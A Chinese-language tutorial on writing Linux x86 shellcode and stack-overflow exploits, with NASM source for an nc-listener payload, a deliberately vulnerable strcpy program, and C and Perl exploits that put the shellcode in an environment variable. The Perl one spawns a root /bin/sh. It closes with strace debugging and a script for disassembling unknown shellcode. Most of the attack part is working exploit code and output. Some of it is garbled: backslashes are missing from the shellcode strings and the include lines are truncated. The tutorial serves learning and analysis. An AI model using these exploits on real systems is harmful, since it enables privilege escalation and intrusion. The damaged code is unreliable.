這篇文章不是教你如何去寫exploit,shellcode,而是希望提供一些關(guān)于編寫或者研究exploit,shellcode的經(jīng)驗(yàn)和技巧。適合理解了shellcode編寫原理的朋友。我看了很多相關(guān)文章,大部分的編寫方法都是類似Aleph
One的《Smashing The Stack For Fun And
Profit》里面的方法。其中safemode.org的zillion所寫的《Writing
shellcode》文章特別吸引我,他提供的一種方法我認(rèn)為很方便。我結(jié)合自己的測(cè)試將文中的一些技巧銜接起來(lái)。還有一些自己在學(xué)習(xí)exploit過(guò)程中遇到的問(wèn)題和解決方法。希望對(duì)和我一樣初學(xué)exploit的朋友們能有一點(diǎn)點(diǎn)的幫助。水平有限,錯(cuò)誤在所難免,發(fā)現(xiàn)錯(cuò)誤請(qǐng)跟我聯(lián)系,不甚感激。
不打無(wú)準(zhǔn)備的仗,我們最好先做好一些準(zhǔn)備工作。可以參考一下我的系統(tǒng)環(huán)境。
系統(tǒng)環(huán)境:REDHAT 9.0, gcc version 3.2.2, NASM version 0.98.35,perl 5.8.0
言歸正傳吧,用匯編語(yǔ)言寫好我們想要執(zhí)行的程序的功能,流程還是類似常用的寫shellcode
asm的寫法,這里我就不用/bin/sh做例子了。我要寫一個(gè)打開nc監(jiān)聽(tīng)一個(gè)端口的shellcode,測(cè)試目的,并沒(méi)有綁定shell.首先vim
ncshellcode.S,填寫如下代碼:
BITS 32
jmp short callit
doit:
pop esi
xor eax, eax
mov byte [esi + 7], al ; 在/usr/nc后面加0
mov byte [esi + 10], al ; 在-l后面加0
mov byte [esi + 13], al ; 在-p后面加0
mov byte [esi + 18], al ; 在2003后面加0
mov long [esi + 19], esi ; 把字符串/usr/nc的地址放到AAAA所在的地方
lea ebx, [esi + 8] ; 得到字符串-l的地址
mov long [esi + 23], ebx ; 把字符串-l的地址放在BBBB
lea ebx, [esi + 11] ; 得到字符串-p的地址
mov long [esi + 27], ebx ; 把字符串-p的地址放在CCCC
lea ebx, [esi + 14] ; 得到字符串2003的地址
mov long [esi+ 31], ebx : 把字符串2003的地址放在DDDD
mov long [esi + 35], eax ; 把NUll放在 EEEE
mov byte al, 0x0b ; syscall 0x0b (execve)
mov ebx, esi ; program
lea ecx, [esi + 19] ; (/usr/nc -l -p 2002)
lea edx, [esi + 35] ; NULL
int 0x80 ;
callit:
call doit
db /usr/nc#-l#-p#2003#AAAABBBBCCCCDDDDEEEE
思路其實(shí)和aleph one的是一樣的,注意nasm的語(yǔ)法是intel的就可以了。注意db /usr/nc#-l#-p#2003
#AAAABBBBCCCCDDDDEEEE
,打#的就是要用一個(gè)字節(jié)的0填充的;AAAA,BBBB,CCCC....用來(lái)儲(chǔ)存字符串地址的地址,這樣寫可以很大程度的避免由于粗心造成的錯(cuò)誤,比如字節(jié)數(shù)計(jì)算不當(dāng)?shù)鹊取?br>寫好源代碼之后用nasm -o ncshellcode ncshellcode.S編譯,編譯好了就直接可以用ndisasm得到shellcode了。
[oyxin@OYXin shellcode]$ ndisasm -b 32 ncshellcode
00000000 EB33 jmp short 0x35
00000002 5E pop esi
00000003 31C0 xor eax,eax
00000005 884607 mov [esi+0x7],al
00000008 88460A mov [esi+0xa],al
0000000B 88460D mov [esi+0xd],al
0000000E 884612 mov [esi+0x12],al
00000011 897613 mov [esi+0x13],esi
00000014 8D5E08 lea ebx,[esi+0x8]
00000017 895E17 mov [esi+0x17],ebx
0000001A 8D5E0B lea ebx,[esi+0xb]
0000001D 895E1B mov [esi+0x1b],ebx
00000020 8D5E0E lea ebx,[esi+0xe]
00000023 895E1F mov [esi+0x1f],ebx
00000026 894623 mov [esi+0x23],eax
00000029 B00B mov al,0xb
0000002B 89F3 mov ebx,esi
0000002D 8D4E13 lea ecx,[esi+0x13]
00000030 8D5623 lea edx,[esi+0x23]
00000033 CD80 int 0x80
00000035 E8C8FFFFFF call 0x2
0000003A 2F das
0000003B 7573 jnz 0xb0
0000003D 722F jc 0x6e
0000003F 6E outsb
00000040 6323 arpl [ebx],sp
00000042 2D6C232D70 sub eax,0x702d236c
00000047 2332 and esi,[edx]
00000049 3030 xor [eax],dh
0000004B 3323 xor esp,[ebx]
0000004D 41 inc ecx
0000004E 41 inc ecx
0000004F 41 inc ecx
00000050 41 inc ecx
00000051 42 inc edx
00000052 42 inc edx
00000053 42 inc edx
00000054 42 inc edx
00000055 43 inc ebx
00000056 43 inc ebx
00000057 43 inc ebx
00000058 43 inc ebx
00000059 44 inc esp
0000005A 44 inc esp
0000005B 44 inc esp
0000005C 44 inc esp
0000005D 45 inc ebp
0000005E 45 inc ebp
0000005F 45 inc ebp
00000060 45 inc ebp
其實(shí)就是這么簡(jiǎn)單,剩下的就是要測(cè)試一下shellcode是否能正常運(yùn)行了。這里我用非安全高級(jí)緩沖區(qū)溢出里面的一個(gè)例子來(lái)測(cè)試。(當(dāng)然,這段匯編代碼可以進(jìn)一步優(yōu)化)
/*abo1.c *
* specially crafted to feed your brain by gera@core-sdi.com */
/* Dumb example to let you get introduced?- */
int main(int argv,char **argc)
{
char buf[256];
strcpy(buf,argc[1]);
}
上面的代碼是漏洞程序,下面是我寫的exploit,那段長(zhǎng)長(zhǎng)的shellcode就是剛才的nc -l -p 2003的shellcode。
#exp2.c
#codz by OYXin
#include
#include
#include
#define bufsize 272
char shellcode[] =
"xebx33x5ex31xc0x88x46x07x88x46x0ax88x46x0dx88"
"x46x12x89x76x13x8dx5ex08x89x5ex17x8dx5ex0bx89"
"x5ex1bx8dx5ex0ex89x5ex1fx89x46x23xb0x0bx89xf3"
"x8dx4ex13x8dx56x23xcdx80xe8xc8xffxffxffx2fx75"
"x73x72x2fx6ex63x23x2dx6cx23x2dx70x23x32x30x30"
"x33x23x41x41x41x41x42x42x42x42x43x43x43x43x44"
"x44x44x44x45x45x45x45";
int main(int argc,char *argv[]){
char buf[bufsize+1];
char *prog[]={"./abo1",buf,NULL};
char *env[]={"HOME=/root",shellcode,NULL};
unsigned long ret;
ret=0xc0000000-sizeof(void *)-strlen(prog[0])-strlen(shellcode)-0x02;
memset(buf, 0x90, bufsize);
memcpy(&buf[bufsize-(sizeof(ret))], &ret, sizeof(ret));
memcpy(&buf[bufsize-(2*sizeof(ret))], &ret, sizeof(ret));
memcpy(&buf[bufsize-(3*sizeof(ret))], &ret, sizeof(ret));
memcpy(&buf[bufsize-(4*sizeof(ret))], &ret, sizeof(ret));
buf[bufsize] = ;
execve(prog[0],prog,env);
return 0;
}
這里是輸出。
[oyxin@OYXin buf]$ ./exp2
ls #這里是客戶端輸入后,服務(wù)端的輸出
yeah!lol....
[oyxin@OYXin oyxin]$ nc -vv localhost 2003
OYXin [127.0.0.1] 2003 (cfinger) open
Ls #客戶端輸入
yeah!lol....
可以看到在運(yùn)行了exp2后,成功的打開了2003這個(gè)端口,shellcode成功了。
順便提提,我看到可愛(ài)的刺刺在綠盟問(wèn)了shellcode地址的計(jì)算問(wèn)題(用環(huán)境變量),關(guān)于利用環(huán)境變量寫exploit
netric和gera的非安全高級(jí)緩沖區(qū)溢出編程里面都有介紹。
gera的計(jì)算方法:ret=0xbffffffa-strlen(name_of_program)-strlen(shellcode)"
netric的計(jì)算方法:ret = 0xc0000000 - sizeof(void *) - strlen(prog[0]) -strlen(shell) -
0x02;
注意這段話:“這里我們發(fā)現(xiàn)在linux_binprm 結(jié)構(gòu)里面的執(zhí)針p被設(shè)置為指向最后memory page在減去一個(gè)void指針,像0xc0000000 -
0x04這樣”,可以計(jì)算一下netric的ret =0xc0000000-0x04-0x02-strlen(prog[0])-strlen(shell) =
0xbffffffa-strlen(prog[0]-strlen(shell),因?yàn)閟trlen(prog[0]就是strlen(name_of_progarm),所以這兩個(gè)公式是完全一樣的。沒(méi)有什么不同。關(guān)于原理可以查資料,刺翻譯的非安全高級(jí)緩沖區(qū)溢出,和我翻譯的netric的文章都解釋的很清楚了。
禁不住又要扯扯我喜愛(ài)的語(yǔ)言perl,perl雖然沒(méi)有execve()函數(shù),但是任然可以輕松簡(jiǎn)單的寫利用環(huán)境變量的exploit.
下面是我用perl寫的針對(duì)abo1的exploit。
#!/usr/bin/perl
#code by OYXin
$shellcode =
"x31xc0x31xdbxb0x17xcdx80".
"x31xdbx89xd8xb0x2excdx80".
"x31xd2x52x68x6ex2fx73x68x68x2fx2fx62x69".
"x89xe3x52x53x89xe1x8dx42x0bxcdx80";
$path = "./abo1";
$ret = 0xbffffffa - length($shellcode) - length($path); #這里就是計(jì)算公式,上面剛剛提到。
$new_ret = pack( l , $ret);
$buffer = "A" x 268;
$buffer .= $new_ret;
local($ENV{ OYXin }) = $shellcode;
exec("$path $buffer");
是不是用perl寫很輕松阿,嘿嘿。
扯遠(yuǎn)了,回到正題吧 :p
當(dāng)時(shí)我調(diào)試程序的時(shí)候犯了一個(gè)錯(cuò)誤,我的nc在/usr/bin/這個(gè)目錄,而不是/usr這個(gè)目錄。這里可以用strace這個(gè)工具調(diào)試.
strace ./exp2可以看到下面的提示。
execve("/usr/nc", ["/usr/nc", "-l", "-p", "2003"], [/* 0 vars */]) = -1 ENOENT
(No such file or direc or directory)
這樣我們就知道了是/usr目錄沒(méi)有nc了,拷貝nc到/usr目錄之后繼續(xù)strace ./exp2
可以看到輸出的最后一行是
accept(3,
嘿嘿,監(jiān)聽(tīng)成功,打開另外一個(gè)xterm用nc連接上去,可以在先前運(yùn)行strace的屏幕輸出里面看到
accept(3, {sa_family=AF_INET, sin_port=htons(32886),
sin_addr=inet_addr("127.0.0.1")}, [16]) = 4
rt_sigaction(SIGALRM, {SIG_IGN}, {SIG_IGN}, 8) = 0
alarm(0) = 0
close(3) = 0
getsockname(4, {sa_family=AF_INET, sin_port=htons(2003),
sin_addr=inet_addr("127.0.0.1")}, [16]) = 0
select(16, [0 4], NULL, NULL, NUL
在客戶端輸入ls,輸出是
select(16, [0 4], NULL, NULL, NULL) = 1 (in [4])
read(4, "ls ", 8192) = 3
write(1, "ls ", 3ls
) = 3
select(16, [0 4], NULL, NULL, NUL
在測(cè)試shellcode的時(shí)候strace真是一個(gè)巨有用的工具。你能迅速知道錯(cuò)誤所在。從而做進(jìn)一步的修改。
記得有次在安全焦點(diǎn)看到有位朋友問(wèn)如何知道類似xebx33東東的真正勾當(dāng)。當(dāng)你懷疑一個(gè)exploit本質(zhì)是一個(gè)木馬程序的時(shí)候。當(dāng)別人寫出短小精干的shellcode你想研究學(xué)習(xí)的時(shí)候,研究shellcode確實(shí)顯的很重要,這里也有個(gè)很簡(jiǎn)單的方法。如下這個(gè)腳本輕松的做到將shellcode寫到一個(gè)bin文件中,你只需要修改$shellcode變量為你想研究的shellcode,運(yùn)行腳本,然后就得到了一個(gè)shellcode.bin文件,剩下的事情就是用ndisasm或者windows的w32dasm分析了。
以分析一個(gè)24bytes的shellcode為例子:
#!/usr/bin/perl -w
$shellcode=
"x31xc0x50x68x2fx2fx73x68x68x2fx62x69"."x6ex89xe3x50x53x89xe1x99xb0x0bxcdx80";
open(FILE, ">shellcode.bin");
print FILE "$shellcode";
close(FILE);
運(yùn)行它,得到了shellcode.bin,接著用ndisasm分析之。
[oyxin@OYXin oyxin]$ ndisasm -b 32 shellcode.bin
00000000 31C0 xor eax,eax
00000002 50 push eax
00000003 682F2F7368 push dword 0x68732f2f #push //sh
00000008 682F62696E push dword 0x6e69622f #push /bin
0000000D 89E3 mov ebx,esp #把字符串的地址傳給ebx
0000000F 50 push eax
00000010 53 push ebx
00000011 89E1 mov ecx,esp #把字符串地址的地址傳給ecx
00000013 99 cdq
00000014 B00B mov al,0xb
00000016 CD80 int 0x80